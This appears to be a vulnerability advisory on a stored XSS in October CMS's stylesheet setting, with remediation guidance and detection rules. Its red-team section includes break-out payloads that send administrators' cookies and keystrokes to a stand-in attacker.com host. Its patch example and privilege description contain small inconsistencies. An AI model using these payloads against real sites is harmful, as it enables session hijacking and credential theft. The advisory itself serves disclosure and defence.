CVE-2025-61674

Executive Summary

CVE-2025-61674 is a stored cross-site scripting (XSS) vulnerability in October CMS, a popular PHP-based content management system. The flaw resides in the backend configuration forms, specifically within the "Markup Styles" stylesheet input. An authenticated user with the "Global Editor Settings" permission can inject malicious HTML/JavaScript code into the stylesheet field. Due to insufficient input sanitization, the injected payload can break out of the intended <style> HTML context, leading to arbitrary script execution across backend pages for all users who view the affected configuration. This is a privilege escalation vector, as a low-privilege editor can compromise the sessions of higher-privilege administrators. The vulnerability has been patched in versions 3.7.13 and 4.0.12.

Supply Chain & Package Security

October CMS is a PHP-based application distributed via Composer. The vulnerability is not in a third-party library but in the core application's input handling. Users should ensure they are using a patched version from the official October CMS repository. No malicious packages have been identified in the supply chain related to this CVE.

CVSS Breakdown & Threat Level

CVSS Score: 6.1 (Medium) Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L

• Attack Vector (AV): Network - The vulnerability is exploitable over the network via the web interface.
• Attack Complexity (AC): Low - No special conditions are required; the attacker simply needs to submit a crafted payload.
• Privileges Required (PR): High - The attacker must have the "Global Editor Settings" permission, which is typically granted to editors or administrators.
• User Interaction (UI): Required - A victim user (e.g., an administrator) must view the affected configuration page.
• Scope (S): Changed - The vulnerability allows the attacker to impact resources beyond the vulnerable component (e.g., steal cookies from other backend pages).
• Confidentiality (C): Low - Limited information disclosure (e.g., session tokens).
• Integrity (I): Low - Limited ability to modify data (e.g., perform actions on behalf of the victim).
• Availability (A): Low - Limited impact on availability (e.g., defacement).

Threat Level: Medium. While the CVSS score is moderate, the potential for privilege escalation and lateral movement within the CMS backend makes this a significant threat for organizations using October CMS.

Deep Dive & Mechanics

The vulnerability is a classic stored XSS with a twist: the injection point is within a <style> tag. The "Markup Styles" configuration field is intended to allow administrators to define custom CSS styles. The application wraps the user input in <style> tags when rendering the backend pages.

The core issue is that the application does not properly escape or sanitize the input to prevent breaking out of the <style> context. In HTML, the content of a <style> tag is treated as raw text, not HTML. However, the closing tag </style> is still parsed. An attacker can inject a payload like:

</style><script>alert(document.cookie)</script><style>

When the backend page renders, the browser sees:

1. The opening <style> tag from the application.
2. The attacker's </style> tag, which closes the style block.
3. The <script> tag, which executes the malicious JavaScript.
4. The final <style> tag, which is ignored or causes a minor parsing error.

This allows the attacker to execute arbitrary JavaScript in the context of the victim's session, bypassing the intended CSS-only restriction.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// In the backend configuration rendering logic
echo '<style>' . $userInput . '</style>';

Patched Code (Conceptual):

// Properly escape the input to prevent breaking out of the style context
$sanitizedInput = htmlspecialchars($userInput, ENT_QUOTES, 'UTF-8');
echo '<style>' . $sanitizedInput . '</style>';

The patched version uses htmlspecialchars() to encode characters like < and > into their HTML entities (< and >), preventing the injection of HTML tags.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• Access to an October CMS instance with a user account that has the "Global Editor Settings" permission.
• The victim (e.g., an administrator) must visit the backend configuration page where the malicious stylesheet is applied.

Exploitation Steps:

1. Login to the October CMS backend as a user with the "Global Editor Settings" permission.
2. Navigate to Settings > CMS > Markup Styles.
3. In the "Stylesheet" input field, inject the following payload:

   </style><script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script><style>
   

4. Save the configuration.
5. Wait for an administrator to visit any backend page that loads this stylesheet. The script will execute, sending the administrator's session cookie to the attacker's server.

Alternative Payload (Keylogger):

</style><script>document.onkeypress=function(e){fetch('https://attacker.com/keylog?k='+e.key)}</script><style>

Blue Team (Defense & Detection)

Detection:

• Monitor backend configuration changes, especially to the "Markup Styles" field.
• Look for unusual patterns in the stylesheet input, such as </style> or <script> tags.
• Use a Web Application Firewall (WAF) to block requests containing </style> in the stylesheet parameter.

Prevention:

• Apply the official patch by upgrading to October CMS 3.7.13 or 4.0.12.
• Implement Content Security Policy (CSP) headers to restrict script execution.
• Restrict the "Global Editor Settings" permission to only trusted users.

Indicators of Compromise (IOCs)

• Network: Outbound HTTP requests to attacker-controlled domains from the October CMS backend server.
• File System: Modified configuration files in the storage/cms/ directory containing malicious <script> tags.
• Logs: Backend access logs showing POST requests to /backend/system/settings/update/ with suspicious payloads in the settings[markup_styles] parameter.
• Behavior: Unexpected JavaScript execution in the backend, such as alert boxes or redirects.

Detection Engineering

YARA Rule

rule October_CMS_XSS_Stylesheet {
    meta:
        description = "Detects malicious payloads targeting CVE-2025-61674 in October CMS stylesheet input"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-61674"
    strings:
        $xss_payload = /<\/style>\s*<script/i
        $xss_payload2 = /<\/style>.*<script/i
    condition:
        any of them
}

Sigma Rule

title: October CMS Stored XSS via Markup Styles
id: 8a4b3c2d-1e5f-6a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects attempts to exploit CVE-2025-61674 by injecting malicious HTML/JS into the stylesheet field.
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/backend/system/settings/update/'
        cs-uri-query|contains: 'markup_styles'
        cs-uri-query|contains: '</style>'
    condition: selection
falsepositives:
    - Legitimate use of </style> in CSS comments (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-61674 October CMS XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/backend/system/settings/update/"; http_uri; content:"markup_styles"; http_client_body; content:"</style>"; within:100; reference:cve,2025-61674; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade October CMS to version 3.7.13 or 4.0.12 immediately.
2. If upgrading is not possible, disable the "Global Editor Settings" permission for all non-administrator users.
3. Review backend configuration logs for any signs of exploitation.

Long-term Measures:

• Implement a strict Content Security Policy (CSP) that disallows inline scripts.
• Conduct regular security audits of custom CMS configurations.
• Enforce the principle of least privilege for all backend users.

Workaround:

• Manually sanitize the stylesheet input by adding a server-side filter that removes </style> and <script> tags from the input before saving.

Valters IT
Securing Digital Frontiers